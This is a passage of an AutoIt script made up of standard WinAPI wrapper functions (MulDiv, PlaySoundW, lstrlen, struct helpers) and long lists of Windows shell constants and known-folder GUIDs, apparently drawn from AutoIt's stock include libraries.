  2648. Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  2649. If @error Then Return SetError(@error, @extended, -1)
  2650. Return $aresult[0]
  2651. EndFunc
  2652.  
  2653. Func _winapi_playsound($ssound, $iflags = $snd_system_nostop, $hinstance = 0)
  2654. Local $stypeofsound = "ptr"
  2655. If $ssound Then
  2656. If IsString($ssound) Then
  2657. $stypeofsound = "wstr"
  2658. EndIf
  2659. Else
  2660. $ssound = 0
  2661. $iflags = 0
  2662. EndIf
  2663. Local $aret = DllCall("winmm.dll", "bool", "PlaySoundW", $stypeofsound, $ssound, "handle", $hinstance, "dword", $iflags)
  2664. If @error Then Return SetError(@error, @extended, False)
  2665. Return $aret[0]
  2666. EndFunc
  2667.  
  2668. Func _winapi_stringlena(Const ByRef $tstring)
  2669. Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring)
  2670. If @error Then Return SetError(@error, @extended, 0)
  2671. Return $aresult[0]
  2672. EndFunc
  2673.  
  2674. Func _winapi_stringlenw(Const ByRef $tstring)
  2675. Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring)
  2676. If @error Then Return SetError(@error, @extended, 0)
  2677. Return $aresult[0]
  2678. EndFunc
  2679.  
  2680. Func _winapi_structtoarray(ByRef $tstruct, $iitems = 0)
  2681. Local $isize = 2 * Floor(DllStructGetSize($tstruct) / 2)
  2682. Local $pstruct = DllStructGetPtr($tstruct)
  2683. If NOT $isize OR NOT $pstruct Then Return SetError(1, 0, 0)
  2684. Local $tdata, $ilength, $ioffset = 0
  2685. Local $aresult[101] = [0]
  2686. While 1
  2687. $ilength = _winapi_strlen($pstruct + $ioffset)
  2688. If NOT $ilength Then
  2689. ExitLoop
  2690. EndIf
  2691. If 2 * (1 + $ilength) + $ioffset > $isize Then Return SetError(3, 0, 0)
  2692. $tdata = DllStructCreate("wchar[" & (1 + $ilength) & "]", $pstruct + $ioffset)
  2693. If @error Then Return SetError(@error + 10, 0, 0)
  2694. __inc($aresult)
  2695. $aresult[$aresult[0]] = DllStructGetData($tdata, 1)
  2696. If $aresult[0] = $iitems Then
  2697. ExitLoop
  2698. EndIf
  2699. $ioffset += 2 * (1 + $ilength)
  2700. If $ioffset >= $isize Then Return SetError(3, 0, 0)
  2701. WEnd
  2702. If NOT $aresult[0] Then Return SetError(2, 0, 0)
  2703. __inc($aresult, -1)
  2704. Return $aresult
  2705. EndFunc
  2706.  
  2707. Func _winapi_unionstruct($tstruct1, $tstruct2, $sstruct = "")
  2708. Local $asize[2] = [DllStructGetSize($tstruct1), DllStructGetSize($tstruct2)]
  2709. If NOT $asize[0] OR NOT $asize[1] Then Return SetError(1, 0, 0)
  2710. Local $tresult
  2711. If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then
  2712. $tresult = DllStructCreate("byte[" & ($asize[0] + $asize[1]) & "]")
  2713. Else
  2714. $tresult = DllStructCreate($sstruct)
  2715. EndIf
  2716. If DllStructGetSize($tresult) < ($asize[0] + $asize[1]) Then Return SetError(2, 0, 0)
  2717. _winapi_movememory($tresult, $tstruct1, $asize[0])
  2718. _winapi_movememory(DllStructGetPtr($tresult) + $asize[0], $tstruct2, $asize[1])
  2719. Return $tresult
  2720. EndFunc
  2721.  
  2722. #EndRegion Public Functions
  2723. Global Const $dllver_platform_windows = 1
  2724. Global Const $dllver_platform_nt = 2
  2725. Global Const $shcne_allevents = 2147483647
  2726. Global Const $shcne_assocchanged = 134217728
  2727. Global Const $shcne_attributes = 2048
  2728. Global Const $shcne_create = 2
  2729. Global Const $shcne_delete = 4
  2730. Global Const $shcne_driveadd = 256
  2731. Global Const $shcne_driveaddgui = 65536
  2732. Global Const $shcne_driveremoved = 128
  2733. Global Const $shcne_extended_event = 67108864
  2734. Global Const $shcne_freespace = 262144
  2735. Global Const $shcne_mediainserted = 32
  2736. Global Const $shcne_mediaremoved = 64
  2737. Global Const $shcne_mkdir = 8
  2738. Global Const $shcne_netshare = 512
  2739. Global Const $shcne_netunshare = 1024
  2740. Global Const $shcne_renamefolder = 131072
  2741. Global Const $shcne_renameitem = 1
  2742. Global Const $shcne_rmdir = 16
  2743. Global Const $shcne_serverdisconnect = 16384
  2744. Global Const $shcne_updatedir = 4096
  2745. Global Const $shcne_updateimage = 32768
  2746. Global Const $shcne_updateitem = 8192
  2747. Global Const $shcne_diskevents = 145439
  2748. Global Const $shcne_globalevents = 201687520
  2749. Global Const $shcne_interrupt = -2147483648
  2750. Global Const $shcnf_dword = 3
  2751. Global Const $shcnf_idlist = 0
  2752. Global Const $shcnf_path = 1
  2753. Global Const $shcnf_printer = 2
  2754. Global Const $shcnf_flush = 4096
  2755. Global Const $shcnf_flushnowait = 8192
  2756. Global Const $shcnf_notifyrecursive = 65536
  2757. Global Const $shcnrf_interruptlevel = 1
  2758. Global Const $shcnrf_shelllevel = 2
  2759. Global Const $shcnrf_recursiveinterrupt = 4096
  2760. Global Const $shcnrf_newdelivery = 32768
  2761. Global Const $sherb_noconfirmation = 1
  2762. Global Const $sherb_noprogressui = 2
  2763. Global Const $sherb_nosound = 4
  2764. Global Const $sherb_no_ui = BitOR($sherb_noconfirmation, $sherb_noprogressui, $sherb_nosound)
  2765. Global Const $see_mask_default = 0
  2766. Global Const $see_mask_classname = 1
  2767. Global Const $see_mask_classkey = 3
  2768. Global Const $see_mask_idlist = 4
  2769. Global Const $see_mask_invokeidlist = 12
  2770. Global Const $see_mask_icon = 16
  2771. Global Const $see_mask_hotkey = 32
  2772. Global Const $see_mask_nocloseprocess = 64
  2773. Global Const $see_mask_connectnetdrv = 128
  2774. Global Const $see_mask_noasync = 256
  2775. Global Const $see_mask_flag_ddewait = $see_mask_noasync
  2776. Global Const $see_mask_doenvsubst = 512
  2777. Global Const $see_mask_flag_no_ui = 1024
  2778. Global Const $see_mask_unicode = 16384
  2779. Global Const $see_mask_no_console = 32768
  2780. Global Const $see_mask_asyncok = 1048576
  2781. Global Const $see_mask_noqueryclassstore = 16777216
  2782. Global Const $see_mask_hmonitor = 2097152
  2783. Global Const $see_mask_nozonechecks = 8388608
  2784. Global Const $see_mask_waitforinputidle = 33554432
  2785. Global Const $see_mask_flag_log_usage = 67108864
  2786. Global Const $se_err_accessdenied = 5
  2787. Global Const $se_err_associncomplete = 27
  2788. Global Const $se_err_ddebusy = 30
  2789. Global Const $se_err_ddefail = 29
  2790. Global Const $se_err_ddetimeout = 28
  2791. Global Const $se_err_dllnotfound = 32
  2792. Global Const $se_err_fnf = 2
  2793. Global Const $se_err_noassoc = 31
  2794. Global Const $se_err_oom = 8
  2795. Global Const $se_err_pnf = 3
  2796. Global Const $se_err_share = 26
  2797. Global Const $fo_copy = 2
  2798. Global Const $fo_delete = 3
  2799. Global Const $fo_move = 1
  2800. Global Const $fo_rename = 4
  2801. Global Const $fof_allowundo = 64
  2802. Global Const $fof_confirmmouse = 2
  2803. Global Const $fof_filesonly = 128
  2804. Global Const $fof_multidestfiles = 1
  2805. Global Const $fof_noconfirmation = 16
  2806. Global Const $fof_noconfirmmkdir = 512
  2807. Global Const $fof_no_connected_elements = 8192
  2808. Global Const $fof_nocopysecurityattribs = 2048
  2809. Global Const $fof_noerrorui = 1024
  2810. Global Const $fof_norecursereparse = 32768
  2811. Global Const $fof_norecursion = 4096
  2812. Global Const $fof_renameoncollision = 8
  2813. Global Const $fof_silent = 4
  2814. Global Const $fof_simpleprogress = 256
  2815. Global Const $fof_wantmappinghandle = 32
  2816. Global Const $fof_wantnukewarning = 16384
  2817. Global Const $fof_no_ui = BitOR($fof_noconfirmation, $fof_noconfirmmkdir, $fof_noerrorui, $fof_silent)
  2818. Global Const $shgfi_addoverlays = 32
  2819. Global Const $shgfi_attr_specified = 131072
  2820. Global Const $shgfi_attributes = 2048
  2821. Global Const $shgfi_displayname = 512
  2822. Global Const $shgfi_exetype = 8192
  2823. Global Const $shgfi_icon = 256
  2824. Global Const $shgfi_iconlocation = 4096
  2825. Global Const $shgfi_largeicon = 0
  2826. Global Const $shgfi_linkoverlay = 32768
  2827. Global Const $shgfi_openicon = 2
  2828. Global Const $shgfi_overlayindex = 64
  2829. Global Const $shgfi_pidl = 8
  2830. Global Const $shgfi_selected = 65536
  2831. Global Const $shgfi_shelliconsize = 4
  2832. Global Const $shgfi_smallicon = 1
  2833. Global Const $shgfi_sysiconindex = 16384
  2834. Global Const $shgfi_typename = 1024
  2835. Global Const $shgfi_usefileattributes = 16
  2836. Global Const $sfgao_cancopy = 1
  2837. Global Const $sfgao_canmove = 2
  2838. Global Const $sfgao_canlink = 4
  2839. Global Const $sfgao_storage = 8
  2840. Global Const $sfgao_canrename = 16
  2841. Global Const $sfgao_candelete = 32
  2842. Global Const $sfgao_haspropsheet = 64
  2843. Global Const $sfgao_droptarget = 256
  2844. Global Const $sfgao_capabilitymask = BitOR($sfgao_cancopy, $sfgao_canmove, $sfgao_canlink, $sfgao_canrename, $sfgao_candelete, $sfgao_haspropsheet, $sfgao_droptarget)
  2845. Global Const $sfgao_system = 4096
  2846. Global Const $sfgao_encrypted = 8192
  2847. Global Const $sfgao_isslow = 16384
  2848. Global Const $sfgao_ghosted = 32768
  2849. Global Const $sfgao_link = 65536
  2850. Global Const $sfgao_share = 131072
  2851. Global Const $sfgao_readonly = 262144
  2852. Global Const $sfgao_hidden = 524288
  2853. Global Const $sfgao_displayattrmask = BitOR($sfgao_isslow, $sfgao_ghosted, $sfgao_link, $sfgao_share, $sfgao_readonly, $sfgao_hidden)
  2854. Global Const $sfgao_nonenumerated = 1048576
  2855. Global Const $sfgao_newcontent = 2097152
  2856. Global Const $sfgao_stream = 4194304
  2857. Global Const $sfgao_storageancestor = 8388608
  2858. Global Const $sfgao_validate = 16777216
  2859. Global Const $sfgao_removable = 33554432
  2860. Global Const $sfgao_compressed = 67108864
  2861. Global Const $sfgao_browsable = 134217728
  2862. Global Const $sfgao_filesysancestor = 268435456
  2863. Global Const $sfgao_folder = 536870912
  2864. Global Const $sfgao_filesystem = 1073741824
  2865. Global Const $sfgao_storagecapmask = BitOR($sfgao_storage, $sfgao_link, $sfgao_readonly, $sfgao_stream, $sfgao_storageancestor, $sfgao_filesysancestor, $sfgao_folder, $sfgao_filesystem)
  2866. Global Const $sfgao_hassubfolder = -2147483648
  2867. Global Const $sfgao_contentsmask = $sfgao_hassubfolder
  2868. Global Const $sfgao_pkeysfgaomask = BitOR($sfgao_isslow, $sfgao_readonly, $sfgao_hassubfolder, $sfgao_validate)
  2869. Global Const $ido_shgioi_default = 268435452
  2870. Global Const $ido_shgioi_link = 268435454
  2871. Global Const $ido_shgioi_share = 268435455
  2872. Global Const $ido_shgioi_slowfile = 268435453
  2873. Global Const $fcsm_viewid = 1
  2874. Global Const $fcsm_webviewtemplate = 2
  2875. Global Const $fcsm_infotip = 4
  2876. Global Const $fcsm_clsid = 8
  2877. Global Const $fcsm_iconfile = 16
  2878. Global Const $fcsm_logo = 32
  2879. Global Const $fcsm_flags = 64
  2880. Global Const $fcs_read = 1
  2881. Global Const $fcs_forcewrite = 2
  2882. Global Const $fcs_write = BitOR($fcs_read, $fcs_forcewrite)
  2883. Global Const $ssf_autocheckselect = 8388608
  2884. Global Const $ssf_desktophtml = 512
  2885. Global Const $ssf_dontprettypath = 2048
  2886. Global Const $ssf_doubleclickinwebview = 128
  2887. Global Const $ssf_hideicons = 16384
  2888. Global Const $ssf_iconsonly = 16777216
  2889. Global Const $ssf_mapnetdrvbutton = 4096
  2890. Global Const $ssf_noconfirmrecycle = 32768
  2891. Global Const $ssf_nonetcrawling = 1048576
  2892. Global Const $ssf_sepprocess = 524288
  2893. Global Const $ssf_showallobjects = 1
  2894. Global Const $ssf_showcompcolor = 8
  2895. Global Const $ssf_showextensions = 2
  2896. Global Const $ssf_showinfotip = 8192
  2897. Global Const $ssf_showsuperhidden = 262144
  2898. Global Const $ssf_showsysfiles = 32
  2899. Global Const $ssf_showtypeoverlay = 33554432
  2900. Global Const $ssf_startpanelon = 2097152
  2901. Global Const $ssf_win95classic = 1024
  2902. Global Const $ssf_webview = 131072
  2903. Global Const $csidl_admintools = 48
  2904. Global Const $csidl_altstartup = 29
  2905. Global Const $csidl_appdata = 26
  2906. Global Const $csidl_bitbucket = 10
  2907. Global Const $csidl_cdburn_area = 59
  2908. Global Const $csidl_common_admintools = 47
  2909. Global Const $csidl_common_altstartup = 30
  2910. Global Const $csidl_common_appdata = 35
  2911. Global Const $csidl_common_desktopdirectory = 25
  2912. Global Const $csidl_common_documents = 46
  2913. Global Const $csidl_common_favorites = 31
  2914. Global Const $csidl_common_music = 53
  2915. Global Const $csidl_common_pictures = 54
  2916. Global Const $csidl_common_programs = 23
  2917. Global Const $csidl_common_startmenu = 22
  2918. Global Const $csidl_common_startup = 24
  2919. Global Const $csidl_common_templates = 45
  2920. Global Const $csidl_common_video = 55
  2921. Global Const $csidl_computersnearme = 61
  2922. Global Const $csidl_connections = 49
  2923. Global Const $csidl_controls = 3
  2924. Global Const $csidl_cookies = 33
  2925. Global Const $csidl_desktop = 0
  2926. Global Const $csidl_desktopdirectory = 16
  2927. Global Const $csidl_drives = 17
  2928. Global Const $csidl_favorites = 6
  2929. Global Const $csidl_fonts = 20
  2930. Global Const $csidl_internet_cache = 32
  2931. Global Const $csidl_history = 34
  2932. Global Const $csidl_local_appdata = 28
  2933. Global Const $csidl_mymusic = 13
  2934. Global Const $csidl_mypictures = 39
  2935. Global Const $csidl_myvideo = 14
  2936. Global Const $csidl_nethood = 19
  2937. Global Const $csidl_personal = 5
  2938. Global Const $csidl_printers = 4
  2939. Global Const $csidl_printhood = 27
  2940. Global Const $csidl_profile = 40
  2941. Global Const $csidl_program_files = 38
  2942. Global Const $csidl_program_files_common = 43
  2943. Global Const $csidl_program_files_commonx86 = 44
  2944. Global Const $csidl_program_filesx86 = 42
  2945. Global Const $csidl_programs = 2
  2946. Global Const $csidl_recent = 8
  2947. Global Const $csidl_sendto = 9
  2948. Global Const $csidl_startmenu = 11
  2949. Global Const $csidl_startup = 7
  2950. Global Const $csidl_system = 37
  2951. Global Const $csidl_systemx86 = 41
  2952. Global Const $csidl_templates = 21
  2953. Global Const $csidl_windows = 36
  2954. Global Const $siid_docnoassoc = 0
  2955. Global Const $siid_docassoc = 1
  2956. Global Const $siid_application = 2
  2957. Global Const $siid_folder = 3
  2958. Global Const $siid_folderopen = 4
  2959. Global Const $siid_drive525 = 5
  2960. Global Const $siid_drive35 = 6
  2961. Global Const $siid_driveremove = 7
  2962. Global Const $siid_drivefixed = 8
  2963. Global Const $siid_drivenet = 9
  2964. Global Const $siid_drivenetdisabled = 10
  2965. Global Const $siid_drivecd = 11
  2966. Global Const $siid_driveram = 12
  2967. Global Const $siid_world = 13
  2968. Global Const $siid_server = 15
  2969. Global Const $siid_printer = 16
  2970. Global Const $siid_mynetwork = 17
  2971. Global Const $siid_find = 22
  2972. Global Const $siid_help = 23
  2973. Global Const $siid_share = 28
  2974. Global Const $siid_link = 29
  2975. Global Const $siid_slowfile = 30
  2976. Global Const $siid_recycler = 31
  2977. Global Const $siid_recyclerfull = 32
  2978. Global Const $siid_mediacdaudio = 40
  2979. Global Const $siid_lock = 47
  2980. Global Const $siid_autolist = 49
  2981. Global Const $siid_printernet = 50
  2982. Global Const $siid_servershare = 51
  2983. Global Const $siid_printerfax = 52
  2984. Global Const $siid_printerfaxnet = 53
  2985. Global Const $siid_printerfile = 54
  2986. Global Const $siid_stack = 55
  2987. Global Const $siid_mediasvcd = 56
  2988. Global Const $siid_stuffedfolder = 57
  2989. Global Const $siid_driveunknown = 58
  2990. Global Const $siid_drivedvd = 59
  2991. Global Const $siid_mediadvd = 60
  2992. Global Const $siid_mediadvdram = 61
  2993. Global Const $siid_mediadvdrw = 62
  2994. Global Const $siid_mediadvdr = 63
  2995. Global Const $siid_mediadvdrom = 64
  2996. Global Const $siid_mediacdaudioplus = 65
  2997. Global Const $siid_mediacdrw = 66
  2998. Global Const $siid_mediacdr = 67
  2999. Global Const $siid_mediacdburn = 68
  3000. Global Const $siid_mediablankcd = 69
  3001. Global Const $siid_mediacdrom = 70
  3002. Global Const $siid_audiofiles = 71
  3003. Global Const $siid_imagefiles = 72
  3004. Global Const $siid_videofiles = 73
  3005. Global Const $siid_mixedfiles = 74
  3006. Global Const $siid_folderback = 75
  3007. Global Const $siid_folderfront = 76
  3008. Global Const $siid_shield = 77
  3009. Global Const $siid_warning = 78
  3010. Global Const $siid_info = 79
  3011. Global Const $siid_error = 80
  3012. Global Const $siid_key = 81
  3013. Global Const $siid_software = 82
  3014. Global Const $siid_rename = 83
  3015. Global Const $siid_delete = 84
  3016. Global Const $siid_mediaaudiodvd = 85
  3017. Global Const $siid_mediamoviedvd = 86
  3018. Global Const $siid_mediaenhancedcd = 87
  3019. Global Const $siid_mediaenhanceddvd = 88
  3020. Global Const $siid_mediahddvd = 89
  3021. Global Const $siid_mediabluray = 90
  3022. Global Const $siid_mediavcd = 91
  3023. Global Const $siid_mediadvdplusr = 92
  3024. Global Const $siid_mediadvdplusrw = 93
  3025. Global Const $siid_desktoppc = 94
  3026. Global Const $siid_mobilepc = 95
  3027. Global Const $siid_users = 96
  3028. Global Const $siid_mediasmartmedia = 97
  3029. Global Const $siid_mediacompactflash = 98
  3030. Global Const $siid_devicecellphone = 99
  3031. Global Const $siid_devicecamera = 100
  3032. Global Const $siid_devicevideocamera = 101
  3033. Global Const $siid_deviceaudioplayer = 102
  3034. Global Const $siid_networkconnect = 103
  3035. Global Const $siid_internet = 104
  3036. Global Const $siid_zipfile = 105
  3037. Global Const $siid_settings = 106
  3038. Global Const $siid_drivehddvd = 132
  3039. Global Const $siid_drivebd = 133
  3040. Global Const $siid_mediahddvdrom = 134
  3041. Global Const $siid_mediahddvdr = 135
  3042. Global Const $siid_mediahddvdram = 136
  3043. Global Const $siid_mediabdrom = 137
  3044. Global Const $siid_mediabdr = 138
  3045. Global Const $siid_mediabdre = 139
  3046. Global Const $siid_clustereddrive = 140
  3047. Global Const $siid_max_icons = 174
  3048. Global Const $shgsi_iconlocation = 0
  3049. Global Const $shgsi_icon = $shgfi_icon
  3050. Global Const $shgsi_sysiconindex = $shgfi_sysiconindex
  3051. Global Const $shgsi_linkoverlay = $shgfi_linkoverlay
  3052. Global Const $shgsi_selected = $shgfi_selected
  3053. Global Const $shgsi_largeicon = $shgfi_largeicon
  3054. Global Const $shgsi_smallicon = $shgfi_smallicon
  3055. Global Const $shgsi_shelliconsize = $shgfi_shelliconsize
  3056. Global Const $nim_add = 0
  3057. Global Const $nim_modify = 1
  3058. Global Const $nim_delete = 2
  3059. Global Const $nim_setfocus = 3
  3060. Global Const $nim_setversion = 4
  3061. Global Const $nif_message = 1
  3062. Global Const $nif_icon = 2
  3063. Global Const $nif_tip = 4
  3064. Global Const $nif_state = 8
  3065. Global Const $nif_info = 16
  3066. Global Const $nif_guid = 32
  3067. Global Const $nif_realtime = 64
  3068. Global Const $nif_showtip = 128
  3069. Global Const $nis_hidden = 1
  3070. Global Const $nis_sharedicon = 2
  3071. Global Const $niif_none = 0
  3072. Global Const $niif_info = 1
  3073. Global Const $niif_warning = 2
  3074. Global Const $niif_error = 3
  3075. Global Const $niif_user = 4
  3076. Global Const $niif_nosound = 16
  3077. Global Const $niif_large_icon = 16
  3078. Global Const $niif_respect_quiet_time = 128
  3079. Global Const $niif_icon_mask = 15
  3080. Global Const $shop_printername = 1
  3081. Global Const $shop_filepath = 2
  3082. Global Const $shop_volumeguid = 4
  3083. Global Const $ofasi_edit = 1
  3084. Global Const $ofasi_opendesktop = 2
  3085. Global Const $quns_not_present = 1
  3086. Global Const $quns_busy = 2
  3087. Global Const $quns_running_d3d_full_screen = 3
  3088. Global Const $quns_presentation_mode = 4
  3089. Global Const $quns_accepts_notifications = 5
  3090. Global Const $quns_quiet_time = 6
  3091. Global Const $rest_norun = 1
  3092. Global Const $rest_noclose = 2
  3093. Global Const $rest_nosaveset = 3
  3094. Global Const $rest_nofilemenu = 4
  3095. Global Const $rest_nosetfolders = 5
  3096. Global Const $rest_nosettaskbar = 6
  3097. Global Const $rest_nodesktop = 7
  3098. Global Const $rest_nofind = 8
  3099. Global Const $rest_nodrives = 9
  3100. Global Const $rest_nodriveautorun = 10
  3101. Global Const $rest_nodrivetypeautorun = 11
  3102. Global Const $rest_nonethood = 12
  3103. Global Const $rest_startbanner = 13
  3104. Global Const $rest_restrictrun = 14
  3105. Global Const $rest_noprintertabs = 15
  3106. Global Const $rest_noprinterdelete = 16
  3107. Global Const $rest_noprinteradd = 17
  3108. Global Const $rest_nostartmenusubfolders = 18
  3109. Global Const $rest_mydocsonnet = 19
  3110. Global Const $rest_noexittodos = 20
  3111. Global Const $rest_enforceshellextsecurity = 21
  3112. Global Const $rest_linkresolveignorelinkinfo = 22
  3113. Global Const $rest_nocommongroups = 23
  3114. Global Const $rest_separatedesktopprocess = 24
  3115. Global Const $rest_noweb = 25
  3116. Global Const $rest_notraycontextmenu = 26
  3117. Global Const $rest_noviewcontextmenu = 27
  3118. Global Const $rest_nonetconnectdisconnect = 28
  3119. Global Const $rest_startmenulogoff = 29
  3120. Global Const $rest_nosettingsassist = 30
  3121. Global Const $rest_nointerneticon = 31
  3122. Global Const $rest_norecentdocshistory = 32
  3123. Global Const $rest_norecentdocsmenu = 33
  3124. Global Const $rest_noactivedesktop = 34
  3125. Global Const $rest_noactivedesktopchanges = 35
  3126. Global Const $rest_nofavoritesmenu = 36
  3127. Global Const $rest_clearrecentdocsonexit = 37
  3128. Global Const $rest_classicshell = 38
  3129. Global Const $rest_nocustomizewebview = 39
  3130. Global Const $rest_nohtmlwallpaper = 40
  3131. Global Const $rest_nochangingwallpaper = 41
  3132. Global Const $rest_nodeskcomp = 42
  3133. Global Const $rest_noadddeskcomp = 43
  3134. Global Const $rest_nodeldeskcomp = 44
  3135. Global Const $rest_noclosedeskcomp = 45
  3136. Global Const $rest_noclose_dragdropband = 46
  3137. Global Const $rest_nomovingband = 47
  3138. Global Const $rest_noeditdeskcomp = 48
  3139. Global Const $rest_noresolvesearch = 49
  3140. Global Const $rest_noresolvetrack = 50
  3141. Global Const $rest_forcecopyaclwithfile = 51
  3142. Global Const $rest_nologo3channelnotify = 52
  3143. Global Const $rest_noforgetsoftwareupdate = 53
  3144. Global Const $rest_nosetactivedesktop = 54
  3145. Global Const $rest_noupdatewindows = 55
  3146. Global Const $rest_nochangestarmenu = 56
  3147. Global Const $rest_nofolderoptions = 57
  3148. Global Const $rest_hasfindcomputers = 58
  3149. Global Const $rest_intellimenus = 59
  3150. Global Const $rest_rundlgmemcheckbox = 60
  3151. Global Const $rest_arp_showpostsetup = 61
  3152. Global Const $rest_nocsc = 62
  3153. Global Const $rest_nocontrolpanel = 63
  3154. Global Const $rest_enumworkgroup = 64
  3155. Global Const $rest_arp_noarp = 65
  3156. Global Const $rest_arp_noremovepage = 66
  3157. Global Const $rest_arp_noaddpage = 67
  3158. Global Const $rest_arp_nowinsetuppage = 68
  3159. Global Const $rest_greymsiads = 69
  3160. Global Const $rest_nochangemappeddrivelabel = 70
  3161. Global Const $rest_nochangemappeddrivecomment = 71
  3162. Global Const $rest_maxrecentdocs = 72
  3163. Global Const $rest_nonetworkconnections = 73
  3164. Global Const $rest_forcestartmenulogoff = 74
  3165. Global Const $rest_nowebview = 75
  3166. Global Const $rest_nocustomizethisfolder = 76
  3167. Global Const $rest_noencryption = 77
  3168. Global Const $rest_dontshowsuperhidden = 78
  3169. Global Const $rest_noshellsearchbutton = 79
  3170. Global Const $rest_nohardwaretab = 80
  3171. Global Const $rest_norunasinstallprompt = 81
  3172. Global Const $rest_promptrunasinstallnetpath = 82
  3173. Global Const $rest_nomanagemycomputerverb = 83
  3174. Global Const $rest_norecentdocsnethood = 84
  3175. Global Const $rest_disallowrun = 85
  3176. Global Const $rest_nowelcomescreen = 86
  3177. Global Const $rest_restrictcpl = 87
  3178. Global Const $rest_disallowcpl = 88
  3179. Global Const $rest_nosmballoontip = 89
  3180. Global Const $rest_nosmhelp = 90
  3181. Global Const $rest_nowinkeys = 91
  3182. Global Const $rest_noencryptonmove = 92
  3183. Global Const $rest_nolocalmachinerun = 93
  3184. Global Const $rest_nocurrentuserrun = 94
  3185. Global Const $rest_nolocalmachinerunonce = 95
  3186. Global Const $rest_nocurrentuserrunonce = 96
  3187. Global Const $rest_forceactivedesktopon = 97
  3188. Global Const $rest_nocomputersnearme = 98
  3189. Global Const $rest_noviewondrive = 99
  3190. Global Const $rest_nonetcrawl = 100
  3191. Global Const $rest_noshareddocuments = 101
  3192. Global Const $rest_nosmmydocs = 102
  3193. Global Const $rest_nosmmypics = 103
  3194. Global Const $rest_allowbitbuckdrives = 104
  3195. Global Const $rest_nonlegacyshellmode = 105
  3196. Global Const $rest_nocontrolpanelbarricade = 106
  3197. Global Const $rest_nostartpage = 107
  3198. Global Const $rest_noautotraynotify = 108
  3199. Global Const $rest_notaskgrouping = 109
  3200. Global Const $rest_nocdburning = 110
  3201. Global Const $rest_mycompnoprop = 111
  3202. Global Const $rest_mydocsnoprop = 112
  3203. Global Const $rest_nostartpanel = 113
  3204. Global Const $rest_nodisplayappearancepage = 114
  3205. Global Const $rest_nothemestab = 115
  3206. Global Const $rest_novisualstylechoice = 116
  3207. Global Const $rest_nosizechoice = 117
  3208. Global Const $rest_nocolorchoice = 118
  3209. Global Const $rest_setvisualstyle = 119
  3210. Global Const $rest_startrunnohomepath = 120
  3211. Global Const $rest_nousernameinstartpanel = 121
  3212. Global Const $rest_nomycomputericon = 122
  3213. Global Const $rest_nosmnetworkplaces = 123
  3214. Global Const $rest_nosmpinnedlist = 124
  3215. Global Const $rest_nosmmymusic = 125
  3216. Global Const $rest_nosmejectpc = 126
  3217. Global Const $rest_nosmmoreprograms = 127
  3218. Global Const $rest_nosmmfuprograms = 128
  3219. Global Const $rest_notrayitemsdisplay = 129
  3220. Global Const $rest_notoolbarsontaskbar = 130
  3221. Global Const $rest_nosmconfigureprograms = 131
  3222. Global Const $rest_hideclock = 132
  3223. Global Const $rest_nolowdiskspacechecks = 133
  3224. Global Const $rest_noentirenetwork = 134
  3225. Global Const $rest_nodesktopcleanup = 135
  3226. Global Const $rest_bitbucknukeondelete = 136
  3227. Global Const $rest_bitbuckconfirmdelete = 137
  3228. Global Const $rest_bitbucknoprop = 138
  3229. Global Const $rest_nodispbackground = 139
  3230. Global Const $rest_nodispscreensavepg = 140
  3231. Global Const $rest_nodispsettingspg = 141
  3232. Global Const $rest_nodispscreensavepreview = 142
  3233. Global Const $rest_nodisplaycpl = 143
  3234. Global Const $rest_hiderunasverb = 144
  3235. Global Const $rest_nothumbnailcache = 145
  3236. Global Const $rest_nostrcmplogical = 146
  3237. Global Const $rest_nopublishwizard = 147
  3238. Global Const $rest_noonlineprintswizard = 148
  3239. Global Const $rest_nowebservices = 149
  3240. Global Const $rest_allowunhashedwebview = 150
  3241. Global Const $rest_allowlegacywebview = 151
  3242. Global Const $rest_revertwebviewsecurity = 152
  3243. Global Const $rest_inheritconsolehandles = 153
  3244. Global Const $rest_sortmaxitemcount = 154
  3245. Global Const $rest_noremoterecursiveevents = 155
  3246. Global Const $rest_noremotechangenotify = 156
  3247. Global Const $rest_nosimplenetidlist = 157
  3248. Global Const $rest_noenumentirenetwork = 158
  3249. Global Const $rest_nodetailsthumbnailonnetwork = 159
  3250. Global Const $rest_nointernetopenwith = 160
  3251. Global Const $rest_allowlegacylmzbehavior = 161
  3252. Global Const $rest_dontretrybadnetname = 162
  3253. Global Const $rest_allowfileclsidjunctions = 163
  3254. Global Const $rest_noupnpinstall = 164
  3255. Global Const $rest_arp_dontgrouppatches = 165
  3256. Global Const $rest_arp_nochooseprogramspage = 166
  3257. Global Const $rest_nodisconnect = 167
  3258. Global Const $rest_nosecurity = 168
  3259. Global Const $rest_nofileassociate = 169
  3260. Global Const $rest_allowcommenttoggle = 170
  3261. Global Const $rest_usedesktopinicache = 171
  3262. Global Const $gil_dontcache = 16
  3263. Global Const $gil_notfilename = 8
  3264. Global Const $gil_perclass = 4
  3265. Global Const $gil_perinstance = 2
  3266. Global Const $gil_simulatedoc = 1
  3267. Global Const $gil_shield = 512
  3268. Global Const $gil_forcenoshield = 1024
  3269. Global Const $folderid_addnewprograms = "{DE61D971-5EBC-4F02-A3A9-6C82895E5C04}"
  3270. Global Const $folderid_admintools = "{724EF170-A42D-4FEF-9F26-B60E846FBA4F}"
  3271. Global Const $folderid_appupdates = "{A305CE99-F527-492B-8B1A-7E76FA98D6E4}"
  3272. Global Const $folderid_cdburning = "{9E52AB10-F80D-49DF-ACB8-4330F5687855}"
  3273. Global Const $folderid_changeremoveprograms = "{DF7266AC-9274-4867-8D55-3BD661DE872D}"
  3274. Global Const $folderid_commonadmintools = "{D0384E7D-BAC3-4797-8F14-CBA229B392B5}"
  3275. Global Const $folderid_commonoemlinks = "{C1BAE2D0-10DF-4334-BEDD-7AA20B227A9D}"
  3276. Global Const $folderid_commonprograms = "{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}"
  3277. Global Const $folderid_commonstartmenu = "{A4115719-D62E-491D-AA7C-E74B8BE3B067}"
  3278. Global Const $folderid_commonstartup = "{82A5EA35-D9CD-47C5-9629-E15D2F714E6E}"
  3279. Global Const $folderid_commontemplates = "{B94237E7-57AC-4347-9151-B08C6C32D1F7}"
  3280. Global Const $folderid_computerfolder = "{0AC0837C-BBF8-452A-850D-79D08E667CA7}"
  3281. Global Const $folderid_conflictfolder = "{4BFEFB45-347D-4006-A5BE-AC0CB0567192}"
